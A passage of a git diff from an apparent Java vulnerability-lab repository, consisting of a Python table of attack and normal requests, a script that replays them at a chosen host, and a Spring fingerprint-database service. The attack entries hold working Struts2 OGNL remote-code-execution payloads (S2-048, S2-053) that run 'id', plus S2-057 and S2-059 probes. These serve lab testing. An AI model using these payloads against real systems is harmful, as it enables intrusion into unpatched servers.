'gangsterName=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29.%28%23q%29%7D&age=18&description=demo'.format(host), + 'name': 'Struts2 S2-048 Gangster Name 二次解析', + 'type': 'attack', + }, + 'struts2_s2_048_normal': { + 'method': 'POST', + 'url': 'http://{}:9952/gangster.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'gangsterName=Tony&age=18&description=demo', + 'name': 'Struts2 S2-048 正常表单提交', + 'type': 'normal', + }, + 'struts2_s2_052_attack_xstream': { + 'method': 'POST', + 'url': 'http://{}:9951/orders/3/edit'.format(host), + 'headers': {'Content-Type': 'application/xml'}, + 'data': 'java.lang.Comparableidstart', + 'name': 'Struts2 S2-052 REST 插件 XStream 反序列化', + 'type': 'attack', + }, + 'struts2_s2_052_normal': { + 'method': 'GET', + 'url': 'http://{}:9951/orders/3/edit'.format(host), + 'name': 'Struts2 S2-052 REST 编辑入口访问', + 'type': 'normal', + }, + 'struts2_s2_053_attack_freemarker': { + 'method': 'POST', + 'url': 'http://{}:9950/hello.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D'.format(host), + 'name': 'Struts2 S2-053 FreeMarker 二次解析', + 'type': 'attack', + }, + 'struts2_s2_053_normal': { + 'method': 'POST', + 'url': 'http://{}:9950/hello.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'name=demo', + 'name': 'Struts2 S2-053 正常表单提交', + 'type': 'normal', + }, + 'struts2_s2_057_attack_namespace': { + 'method': 'GET', + 'url': 'http://{}:9949/%24%7B233%2A233%7D/actionChain1.action'.format(host), + 'name': 'Struts2 S2-057 namespace 片段 OGNL 执行', + 'type': 'attack', + }, + 'struts2_s2_057_normal': { + 'method': 'GET', + 'url': 'http://{}:9949/index.action'.format(host), + 'name': 'Struts2 S2-057 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_059_attack_double_eval': { + 'method': 'GET', + 'url': 'http://{}:9948/index.action?id=%25%7B233%2A233%7D'.format(host), + 'name': 'Struts2 S2-059 标签属性双重解析', + 'type': 'attack', + }, + 'struts2_s2_059_normal': { + 'method': 'GET', + 'url': 'http://{}:9948/index.action?id=demo'.format(host), + 'name': 'Struts2 S2-059 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_061_attack_multipart': { + 'method': 'POST', + 'url': 'http://{}:9947/index.action'.format(host), + 'headers': {'Content-Type': 'multipart/form-data; boundary=' + S2_061_BOUNDARY}, + 'data': S2_061_ATTACK_BODY, + 'name': 'Struts2 S2-061 multipart 双重解析绕过', + 'type': 'attack', + }, + 'struts2_s2_061_normal': { + 'method': 'GET', + 'url': 'http://{}:9947/index.action'.format(host), + 'name': 'Struts2 S2-061 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_062_attack_multipart': { + 'method': 'POST', + 'url': 'http://{}:9946/index.action'.format(host), + 'headers': {'Content-Type': 'multipart/form-data; boundary=' + S2_062_BOUNDARY}, + 'data': S2_062_ATTACK_BODY, + 'name': 'Struts2 S2-062 BeanMap 绕过链', + 'type': 'attack', + }, + 'struts2_s2_062_normal': { + 'method': 'GET', + 'url': 'http://{}:9946/index.action'.format(host), + 'name': 'Struts2 S2-062 页面基线访问', + 'type': 'normal', + }, +} diff --git a/python_scripts/replay_all.py b/python_scripts/replay_all.py new file mode 100644 index 0000000..cd6e36a --- /dev/null +++ b/python_scripts/replay_all.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python3 +import argparse +import json +import os +import sys +import time +from pathlib import Path + +import requests + +DEFAULT_PROXIES = {} +DEFAULT_TIMEOUT = 15 +VALID_MODES = {"attack", "normal", "mistake", "mistak", "repair", "all"} +MODE_ALIAS = {"mistak": "mistake"} + + +def normalize_modes(raw_modes): + # 统一处理模式别名,并在传入 all 时展开成完整模式集合。 + normalized = [] + for mode in raw_modes: + mode = MODE_ALIAS.get(mode, mode) + if mode not in VALID_MODES: + raise ValueError("unsupported mode: {}".format(mode)) + normalized.append(mode) + if "all" in normalized: + return {"attack", "normal", "mistake", "repair"} + return set(normalized) + + +def build_proxies(args): + # 支持统一代理,也支持分别设置 http / https 代理。 + if args.proxy: + return {"http": args.proxy, "https": args.proxy} + + proxies = dict(DEFAULT_PROXIES) + if args.http_proxy: + proxies["http"] = args.http_proxy + if args.https_proxy: + proxies["https"] = args.https_proxy + return proxies + + +def should_use_item(item_type, selected_modes): + # PoC 定义里允许使用 mistak 旧拼写,这里统一按标准模式判断。 + item_type = MODE_ALIAS.get(item_type, item_type) + return item_type in selected_modes + + +def build_request_kwargs(config, proxies, timeout, root_dir): + # 把 PoC 配置转换成 requests.request 可直接使用的参数。 + kwargs = { + "url": config["url"], + "headers": config.get("headers", {}), + "timeout": timeout, + "proxies": proxies, + } + + if "data" in config and config["method"].upper() != "GET": + kwargs["data"] = config["data"] + + if "file" in config: + # 文件上传场景支持相对路径,默认相对仓库根目录解析。 + file_path = Path(config["file"]) + if not file_path.is_absolute(): + file_path = root_dir / file_path + if not file_path.exists(): + raise FileNotFoundError("file not found: {}".format(file_path)) + param_name = config.get("parm", "file") + kwargs["files"] = { + param_name: (file_path.name, file_path.open("rb")) + } + + return kwargs + + +def close_file_handles(kwargs): + # requests 不会帮我们关闭手动打开的文件句柄,这里做统一回收。 + files = kwargs.get("files") + if not files: + return + for _, file_tuple in files.items(): + if len(file_tuple) > 1 and hasattr(file_tuple[1], "close"): + file_tuple[1].close() + + +def replay_one(api_name, config, session, proxies, timeout, root_dir, body_preview): + # 执行单条请求,并尽量把响应和异常都整理成统一结构。 + method = config["method"].upper() + started = time.time() + kwargs = build_request_kwargs(config, proxies, timeout, root_dir) + try: + response = session.request(method=method, **kwargs) + elapsed = time.time() - started + text = response.text + preview = text[:body_preview] + return { + "api": api_name, + "name": config.get("name", api_name), + "type": config.get("type", ""), + "method": method, + "url": config["url"], + "status_code": response.status_code, + "elapsed_ms": int(elapsed * 1000), + "ok": response.ok, + "headers": dict(response.headers), + "body_preview": preview, + "body_length": len(text), + "error": "", + } + except Exception as exc: + elapsed = time.time() - started + return { + "api": api_name, + "name": config.get("name", api_name), + "type": config.get("type", ""), + "method": method, + "url": config["url"], + "status_code": 0, + "elapsed_ms": int(elapsed * 1000), + "ok": False, + "headers": {}, + "body_preview": "", + "body_length": 0, + "error": str(exc), + } + finally: + close_file_handles(kwargs) + + +def print_summary(results): + # 终端输出简要统计,便于快速看整体成功率和失败项。 + total = len(results) + success = sum(1 for item in results if item["ok"]) + failed = total - success + print("total={} success={} failed={}".format(total, success, failed)) + for item in results: + status = item["status_code"] if item["status_code"] else "ERR" + print("[{type}] {api} -> {status} {elapsed}ms".format( + type=item["type"], + api=item["api"], + status=status, + elapsed=item["elapsed_ms"], + )) + if item["error"]: + print(" error: {}".format(item["error"])) + + +def main(): + parser = argparse.ArgumentParser( + description="Replay all PoC requests without the Flask index project." + ) + parser.add_argument( + "--mode", + action="append", + default=["all"], + help="Replay mode: attack, normal, mistake, mistak, repair, all. Repeatable.", + ) + parser.add_argument( + "--contains", + default="", + help="Only replay APIs whose key contains this substring.", + ) + parser.add_argument( + "--timeout", + type=int, + default=DEFAULT_TIMEOUT, + help="Requests timeout in seconds.", + ) + parser.add_argument( + "--proxy", + default="", + help="Set both http and https proxy at once, e.g. http://127.0.0.1:8080", + ) + parser.add_argument("--http-proxy", default="", help="HTTP proxy.") + parser.add_argument("--https-proxy", default="", help="HTTPS proxy.") + parser.add_argument( + "--output", + default="", + help="Optional JSON file path for full replay results.", + ) + parser.add_argument( + "--body-preview", + type=int, + default=200, + help="Keep this many response body characters in the output preview.", + ) + parser.add_argument( + "--host", + default="", + help="回放时指定目标主机,例如 127.0.0.1。", + ) + + args = parser.parse_args() + + if args.host: + # 先把 host 注入环境变量,再导入 poc,确保各模块按目标主机生成 URL。 + os.environ["HOST"] = args.host + + from poc import requests_config + + selected_modes = normalize_modes(args.mode) + proxies = build_proxies(args) + # 上传文件等相对路径默认以仓库根目录为基准解析。 + root_dir = Path(__file__).resolve().parents[1] + + session = requests.Session() + filtered = [] + for api_name in sorted(requests_config): + config = requests_config[api_name] + # 先按模式过滤,再按名称关键字过滤。 + if not should_use_item(config.get("type", ""), selected_modes): + continue + if args.contains and args.contains not in api_name: + continue + filtered.append((api_name, config)) + + if not filtered: + print("no matching requests found") + return 0 + + print("replaying {} requests".format(len(filtered))) + print("modes={}".format(",".join(sorted(selected_modes)))) + print("proxies={}".format(json.dumps(proxies, ensure_ascii=False))) + + results = [] + for api_name, config in filtered: + # 顺序重放当前筛选后的全部请求,便于后续挂代理观察流量。 + result = replay_one( + api_name=api_name, + config=config, + session=session, + proxies=proxies, + timeout=args.timeout, + root_dir=root_dir, + body_preview=args.body_preview, + ) + results.append(result) + + print_summary(results) + + if args.output: + # 可选写入完整 JSON 结果,方便后续比对和留档。 + output_path = Path(args.output) + if not output_path.is_absolute(): + output_path = Path.cwd() / output_path + output_path.write_text( + json.dumps(results, ensure_ascii=False, indent=2), + encoding="utf-8", + ) + print("results written to {}".format(output_path)) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/python_scripts/requirements.txt b/python_scripts/requirements.txt new file mode 100644 index 0000000..0eb8cae --- /dev/null +++ b/python_scripts/requirements.txt @@ -0,0 +1 @@ +requests>=2.31.0 diff --git a/run-local-build.sh b/run-local-build.sh index 17a92a3..6f902dd 100644 --- a/run-local-build.sh +++ b/run-local-build.sh @@ -1,19 +1,13 @@ #!/bin/bash -# 遍历当前目录下的所有子目录 -for dir in */ ; do - # 检查是否存在 pom.xml 文件 - if [[ -f "$dir/pom.xml" ]]; then - echo "Found pom.xml in $dir" - # 进入目录 - cd "$dir" - # 执行 Maven test package +# 遍历两层目录中的所有 Maven 项目 +find . -maxdepth 2 -name pom.xml | sort | while read -r pom; do + dir=$(dirname "$pom") + echo "Found pom.xml in $dir" + ( + cd "$dir" || exit 1 mvn test package - # 返回上一级目录 - cd .. - else - echo "No pom.xml found in $dir" - fi + ) done docker-compose -f docker-compose-local.yaml down docker-compose -f docker-compose-local.yaml build diff --git a/run-local-service.sh b/run-local-service.sh deleted file mode 100644 index 3520e2e..0000000 --- a/run-local-service.sh +++ /dev/null @@ -1,20 +0,0 @@ -#!/bin/bash - -# 遍历当前目录下以"microservice-"开头的子目录 -for dir in microservice-*/ ; do - # 检查是否存在 pom.xml 文件 - if [[ -f "$dir/pom.xml" ]]; then - echo "Found pom.xml in $dir" - # 进入目录 - cd "$dir" - # 执行 Maven test package - mvn test package - # 返回上一级目录 - cd .. - else - echo "No pom.xml found in $dir" - fi -done -docker-compose -f docker-compose-microservice.yml down -docker-compose -f docker-compose-microservice.yml build -docker-compose -f docker-compose-microservice.yml up -d \ No newline at end of file diff --git a/sensitive_path/Dockerfile b/sensitive_path/Dockerfile new file mode 100644 index 0000000..df22a52 --- /dev/null +++ b/sensitive_path/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/sensitive_path +WORKDIR /opt/sensitive_path +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/sensitive_path/target/sensitive_path-1.0-SNAPSHOT.jar /opt/app.jar + +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/sensitive_path/Dockerfile_local b/sensitive_path/Dockerfile_local new file mode 100644 index 0000000..71f8e90 --- /dev/null +++ b/sensitive_path/Dockerfile_local @@ -0,0 +1,5 @@ +FROM wushangleon/java:jdk8u112 +COPY target/sensitive_path-1.0-SNAPSHOT.jar /opt/app.jar + +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/sensitive_path/README.md b/sensitive_path/README.md new file mode 100644 index 0000000..e1afd08 --- /dev/null +++ b/sensitive_path/README.md @@ -0,0 +1,45 @@ +# fingerprint-playground + +这个项目已经从“敏感目录靶场”改造成“指纹库训练场”,并且现在以 `src/main/resources/file/fingerprint-library.db` 作为主数据源。 + +## 当前数据源 + +- `src/main/resources/file/*.json` + - 本地 JSON 指纹,共 `180` 条 + - 这些文件现在主要作为历史来源材料,运行时主读 SQLite +- `src/main/resources/import/cms.xls` + - 来自 `r0eXpeR/fingerprint` + - 共 `2088` 条 CMS 指纹 + - 匹配类型主要为 `md5` 与 `keyword` +- `src/main/resources/import/Dayu-Feature.json` + - 来自 `r0eXpeR/fingerprint` + - 共 `616` 条指纹 + - 识别类型映射为 `md5`、`keyword`、`header_keyword` + +## 持久化 + +- SQLite 数据库:`src/main/resources/file/fingerprint-library.db` +- 表:`fingerprint_library` + +## 页面与接口 + +- 首页:`/` +- 指纹目录:`GET /fingerprint/api/catalog` +- 指纹详情:`GET /fingerprint/api/records/{recordId}` +- 样本预览:`GET /fingerprint/api/sample/{recordId}` +- 指纹匹配:`POST /fingerprint/api/match` +- 重新导入:`POST /fingerprint/api/reload` +- 任意指纹路径回放:例如 `/images/admina/arrow.jpg` + +## 运行方式 + +```bash +cd D:\JavaVul\sensitive_path +mvn spring-boot:run +``` + +## 重新构建 SQLite + +```bash +E:\pytools\.venv311\Scripts\python.exe tools\build_fingerprint_db.py +``` diff --git a/sensitive_path/docker-compose.yaml b/sensitive_path/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/sensitive_path/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/microservice-f-service/pom.xml b/sensitive_path/pom.xml similarity index 62% rename from microservice-f-service/pom.xml rename to sensitive_path/pom.xml index 0bbf91a..9aae0e4 100644 --- a/microservice-f-service/pom.xml +++ b/sensitive_path/pom.xml @@ -5,43 +5,50 @@ 4.0.0 org.example - microservice-f-service + sensitive_path 1.0-SNAPSHOT 8 8 + org.springframework.boot spring-boot-starter-parent - 2.5.9 + 2.6.6 + - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client + org.springframework.boot + spring-boot-starter-web org.springframework.boot - spring-boot-starter-web - RELEASE - compile + spring-boot-starter-jdbc + + + org.springframework + spring-web + + + org.springframework + spring-context + 5.3.22 + + + org.xerial + sqlite-jdbc + 3.46.1.3 + + + org.apache.poi + poi + 5.2.5 - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - @@ -51,7 +58,7 @@ org.apache.maven.plugins maven-compiler-plugin - 3.1 + 3.1 1.8 1.8 @@ -60,13 +67,13 @@ org.apache.maven.plugins maven-resources-plugin - 3.0.2 + 3.0.2 org.apache.maven.plugins maven-jar-plugin - 2.4 + 2.4 - \ No newline at end of file + diff --git a/sensitive_path/src/main/java/com/myapp/FingerprintCatalogService.java b/sensitive_path/src/main/java/com/myapp/FingerprintCatalogService.java new file mode 100644 index 0000000..3d27c76 --- /dev/null +++ b/sensitive_path/src/main/java/com/myapp/FingerprintCatalogService.java @@ -0,0 +1,381 @@ +package com.myapp; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.util.ArrayList; +import java.util.Base64; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.stream.Collectors; +import org.springframework.http.MediaType; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.jdbc.core.RowMapper; +import org.springframework.stereotype.Service; + +@Service +public class FingerprintCatalogService { + private final JdbcTemplate jdbcTemplate; + + private final RowMapper recordRowMapper = (rs, rowNum) -> { + FingerprintRecord record = new FingerprintRecord(); + record.setRecordId(rs.getString("record_id")); + record.setDataset(rs.getString("dataset")); + record.setExternalId(rs.getString("external_id")); + record.setProductName(rs.getString("product_name")); + record.setPath(rs.getString("path")); + record.setMatchType(rs.getString("match_type")); + record.setMatchPattern(rs.getString("match_pattern")); + record.setCategory(rs.getString("category")); + record.setDescription(rs.getString("description")); + record.setSourceName(rs.getString("source_name")); + record.setSourceUrl(rs.getString("source_url")); + record.setContentType(rs.getString("content_type")); + record.setSampleBody(rs.getString("sample_body")); + int hitCount = rs.getInt("hit_count"); + record.setHitCount(rs.wasNull() ? null : Integer.valueOf(hitCount)); + return record; + }; + + public FingerprintCatalogService(JdbcTemplate jdbcTemplate) { + this.jdbcTemplate = jdbcTemplate; + } + + public Map reloadCatalog() { + Map result = new LinkedHashMap(); + result.put("success", true); + result.put("message", "SQLite is already the primary source. Rebuild the DB with tools/build_fingerprint_db.py when source data changes."); + result.put("database", "src/main/resources/file/fingerprint-library.db"); + result.put("overview", getOverview()); + return result; + } + + public Map getOverview() { + List items = listRecords(null, null, null); + Map datasetCounts = items.stream() + .collect(Collectors.groupingBy(FingerprintRecord::getDataset, LinkedHashMap::new, Collectors.counting())); + Map matchTypeCounts = items.stream() + .collect(Collectors.groupingBy(FingerprintRecord::getMatchType, LinkedHashMap::new, Collectors.counting())); + + Map result = new LinkedHashMap(); + result.put("total", items.size()); + result.put("datasetCounts", datasetCounts); + result.put("matchTypeCounts", matchTypeCounts); + result.put("productCount", items.stream().map(FingerprintRecord::getProductName).distinct().count()); + result.put("pathCount", items.stream().map(FingerprintRecord::getPath).distinct().count()); + return result; + } + + public List listRecords(String dataset, String matchType, String keyword) { + StringBuilder sql = new StringBuilder( + "SELECT record_id, dataset, external_id, product_name, path, match_type, match_pattern, category, description, source_name, source_url, content_type, sample_body, hit_count, updated_at " + + "FROM fingerprint_library WHERE 1=1" + ); + List args = new ArrayList(); + if (hasText(dataset)) { + sql.append(" AND dataset = ?"); + args.add(dataset); + } + if (hasText(matchType)) { + sql.append(" AND match_type = ?"); + args.add(matchType); + } + if (hasText(keyword)) { + sql.append(" AND (LOWER(product_name) LIKE ? OR LOWER(path) LIKE ? OR LOWER(category) LIKE ? OR LOWER(description) LIKE ?)"); + String likeValue = "%" + keyword.trim().toLowerCase(Locale.ROOT) + "%"; + args.add(likeValue); + args.add(likeValue); + args.add(likeValue); + args.add(likeValue); + } + sql.append(" ORDER BY dataset ASC, product_name ASC, path ASC"); + return jdbcTemplate.query(sql.toString(), recordRowMapper, args.toArray()); + } + + public List> listSummaries(String dataset, String matchType, String keyword) { + List> items = new ArrayList>(); + for (FingerprintRecord record : listRecords(dataset, matchType, keyword)) { + Map item = toMap(record); + item.remove("sampleBody"); + items.add(item); + } + return items; + } + + public FingerprintRecord getRecord(String recordId) { + List records = jdbcTemplate.query( + "SELECT record_id, dataset, external_id, product_name, path, match_type, match_pattern, category, description, source_name, source_url, content_type, sample_body, hit_count, updated_at " + + "FROM fingerprint_library WHERE record_id = ?", + recordRowMapper, + recordId + ); + return records.isEmpty() ? null : records.get(0); + } + + public Map getRecordDetail(String recordId) { + FingerprintRecord record = getRecord(recordId); + return record == null ? null : toMap(record); + } + + public Map getSample(String recordId) { + FingerprintRecord record = getRecord(recordId); + if (record == null) { + return null; + } + Map result = new LinkedHashMap(); + result.put("recordId", record.getRecordId()); + result.put("productName", record.getProductName()); + result.put("path", record.getPath()); + result.put("contentType", record.getContentType()); + result.put("sampleBody", record.getSampleBody()); + return result; + } + + public List findByPath(String path) { + return jdbcTemplate.query( + "SELECT record_id, dataset, external_id, product_name, path, match_type, match_pattern, category, description, source_name, source_url, content_type, sample_body, hit_count, updated_at " + + "FROM fingerprint_library WHERE path = ? ORDER BY dataset ASC, product_name ASC", + recordRowMapper, + normalizePath(path) + ); + } + + public FingerprintRouteResponse buildRouteResponse(String path) { + List records = findByPath(path); + if (records.isEmpty()) { + return null; + } + + FingerprintRecord sampleSource = records.stream() + .filter(item -> hasText(item.getSampleBody()) && "path_exact".equals(item.getMatchType())) + .findFirst() + .orElse(null); + + String contentType = detectContentType(path, records); + byte[] body = buildRouteBody(path, contentType, sampleSource, records); + + Map headers = new LinkedHashMap(); + headers.put("X-Fingerprint-Record-Count", String.valueOf(records.size())); + headers.put("X-Fingerprint-Products", records.stream().map(FingerprintRecord::getProductName).distinct().collect(Collectors.joining(", "))); + headers.put("X-Fingerprint-Datasets", records.stream().map(FingerprintRecord::getDataset).distinct().collect(Collectors.joining(", "))); + + List md5Values = records.stream() + .filter(item -> "md5".equals(item.getMatchType())) + .map(FingerprintRecord::getMatchPattern) + .collect(Collectors.toList()); + if (!md5Values.isEmpty()) { + headers.put("X-Fingerprint-MD5", String.join(",", md5Values)); + } + + for (FingerprintRecord record : records) { + if ("header_keyword".equals(record.getMatchType())) { + String pattern = record.getMatchPattern(); + if (pattern != null && pattern.contains(":")) { + String[] parts = pattern.split(":", 2); + if (parts.length == 2 && hasText(parts[0]) && hasText(parts[1])) { + headers.put(parts[0].trim(), parts[1].trim()); + } + } else if (hasText(pattern)) { + headers.put("Set-Cookie", pattern + "=1"); + } + } + } + + return new FingerprintRouteResponse(contentType, body, headers); + } + + public Map match(Map payload) { + String path = normalizePath(stringValue(payload.get("path"))); + String responseBody = stringValue(payload.get("responseBody")); + String responseHeaders = stringValue(payload.get("responseHeaders")); + String combined = (responseHeaders + "\n" + responseBody).toLowerCase(Locale.ROOT); + String providedMd5 = stringValue(payload.get("md5")); + String responseMd5 = hasText(providedMd5) ? providedMd5.trim().toLowerCase(Locale.ROOT) : md5Hex(responseBody); + + List candidates = findByPath(path); + List> matches = new ArrayList>(); + + for (FingerprintRecord record : candidates) { + String reason = null; + int score = 0; + String pattern = stringValue(record.getMatchPattern()); + + if ("path_exact".equals(record.getMatchType())) { + reason = "Path exactly matches a local fingerprint route."; + score = 60; + } else if ("md5".equals(record.getMatchType())) { + String lowerPattern = pattern.toLowerCase(Locale.ROOT); + if (hasText(responseMd5) && responseMd5.equals(lowerPattern)) { + reason = "Response MD5 matches the fingerprint rule."; + score = 100; + } else if (combined.contains(lowerPattern)) { + reason = "Response content or headers expose the expected MD5 marker."; + score = 78; + } + } else if ("keyword".equals(record.getMatchType()) && combined.contains(pattern.toLowerCase(Locale.ROOT))) { + reason = "Response body contains the keyword fingerprint pattern."; + score = 85; + } else if ("header_keyword".equals(record.getMatchType()) && combined.contains(pattern.toLowerCase(Locale.ROOT))) { + reason = "Response headers or body contain the header-style fingerprint pattern."; + score = 88; + } + + if (reason != null) { + Map item = toMap(record); + item.put("matchReason", reason); + item.put("score", score); + matches.add(item); + } + } + + matches.sort((left, right) -> Integer.compare(intValue(right.get("score")), intValue(left.get("score")))); + + Map result = new LinkedHashMap(); + result.put("path", path); + result.put("computedMd5", responseMd5); + result.put("candidateCount", candidates.size()); + result.put("matchCount", matches.size()); + result.put("matches", matches); + return result; + } + + private String buildSyntheticBody(List records) { + List lines = new ArrayList(); + lines.add("Fingerprint route generated from SQLite library."); + for (FingerprintRecord record : records) { + lines.add("[" + record.getProductName() + "] " + record.getMatchType() + " => " + record.getMatchPattern()); + } + return String.join("\n", lines); + } + + private byte[] buildRouteBody(String path, String contentType, FingerprintRecord sampleSource, List records) { + if (sampleSource != null && hasText(sampleSource.getSampleBody())) { + return sampleSource.getSampleBody().getBytes(StandardCharsets.UTF_8); + } + if (isBinaryRoute(path, contentType)) { + return binaryPlaceholder(path); + } + return buildSyntheticBody(records).getBytes(StandardCharsets.UTF_8); + } + + private boolean isBinaryRoute(String path, String contentType) { + String lowerPath = stringValue(path).toLowerCase(Locale.ROOT); + String lowerType = stringValue(contentType).toLowerCase(Locale.ROOT); + return lowerType.startsWith("image/") + || lowerPath.endsWith(".ico") + || lowerPath.endsWith(".bmp") + || lowerPath.endsWith(".webp"); + } + + private byte[] binaryPlaceholder(String path) { + String lowerPath = stringValue(path).toLowerCase(Locale.ROOT); + if (lowerPath.endsWith(".png")) { + return Base64.getDecoder().decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+nR8sAAAAASUVORK5CYII="); + } + if (lowerPath.endsWith(".gif")) { + return Base64.getDecoder().decode("R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw=="); + } + if (lowerPath.endsWith(".ico")) { + return new byte[] {0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 32, 0, 48, 0, 0, 0, 22, 0, 0, 0}; + } + return Base64.getDecoder().decode("/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxAQEBUQEBAVFRUVFRUVFRUVFRUVFRUVFRUXFhUVFRUYHSggGBolGxUVITEhJSkrLi4uFx8zODMsNygtLisBCgoKDg0OGhAQGi0dHR0tLSstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLf/AABEIAAEAAgMBIgACEQEDEQH/xAAXAAEBAQEAAAAAAAAAAAAAAAAAAQID/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAAB6AAAAP/EABQQAQAAAAAAAAAAAAAAAAAAADD/2gAIAQEAAQUCf//EABQRAQAAAAAAAAAAAAAAAAAAADD/2gAIAQMBAT8BH//EABQRAQAAAAAAAAAAAAAAAAAAADD/2gAIAQIBAT8BH//Z"); + } + + private String detectContentType(String path, List records) { + for (FingerprintRecord record : records) { + if (hasText(record.getContentType())) { + return record.getContentType(); + } + } + String lowerPath = stringValue(path).toLowerCase(Locale.ROOT); + if (lowerPath.endsWith(".json")) { + return MediaType.APPLICATION_JSON_VALUE; + } + if (lowerPath.endsWith(".html") || "/".equals(lowerPath)) { + return "text/html;charset=UTF-8"; + } + if (lowerPath.endsWith(".xml")) { + return "application/xml;charset=UTF-8"; + } + if (lowerPath.endsWith(".jpg") || lowerPath.endsWith(".jpeg")) { + return "image/jpeg"; + } + if (lowerPath.endsWith(".png")) { + return "image/png"; + } + if (lowerPath.endsWith(".gif")) { + return "image/gif"; + } + if (lowerPath.endsWith(".css")) { + return "text/css;charset=UTF-8"; + } + if (lowerPath.endsWith(".js")) { + return "application/javascript;charset=UTF-8"; + } + return "text/plain;charset=UTF-8"; + } + + private Map toMap(FingerprintRecord record) { + Map item = new LinkedHashMap(); + item.put("recordId", record.getRecordId()); + item.put("dataset", record.getDataset()); + item.put("externalId", record.getExternalId()); + item.put("productName", record.getProductName()); + item.put("path", record.getPath()); + item.put("matchType", record.getMatchType()); + item.put("matchPattern", record.getMatchPattern()); + item.put("category", record.getCategory()); + item.put("description", record.getDescription()); + item.put("sourceName", record.getSourceName()); + item.put("sourceUrl", record.getSourceUrl()); + item.put("contentType", record.getContentType()); + item.put("sampleBody", record.getSampleBody()); + item.put("hitCount", record.getHitCount()); + return item; + } + + private String md5Hex(String value) { + if (!hasText(value)) { + return ""; + } + try { + MessageDigest digest = MessageDigest.getInstance("MD5"); + byte[] hashed = digest.digest(value.getBytes(StandardCharsets.UTF_8)); + StringBuilder hex = new StringBuilder(); + for (byte item : hashed) { + hex.append(String.format("%02x", item)); + } + return hex.toString(); + } catch (Exception ex) { + throw new IllegalStateException("Failed to compute md5", ex); + } + } + + private String normalizePath(String value) { + String path = stringValue(value).trim(); + if (path.isEmpty()) { + return "/"; + } + return path.startsWith("/") ? path : "/" + path; + } + + private static boolean hasText(String value) { + return value != null && !value.trim().isEmpty(); + } + + private static String stringValue(Object value) { + return value == null ? "" : String.valueOf(value); + } + + private static int intValue(Object value) { + if (value == null) { + return 0; + } + if (value instanceof Number) { + return ((Number) value).intValue(); + } + return Integer.parseInt(String.valueOf(value)); + } +} diff --git a/sensitive_path/src/main/java/com/myapp/FingerprintController.java b/sensitive_path/src/main/java/com/myapp/FingerprintController.java new file mode 100644 index 0000000..65eaab6 --- /dev/null +++ b/sensitive_path/src/main/java/com/myapp/FingerprintController.java @@ -0,0 +1,90 @@ +package com.myapp; + +import java.util.LinkedHashMap; +import java.util.Map; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import 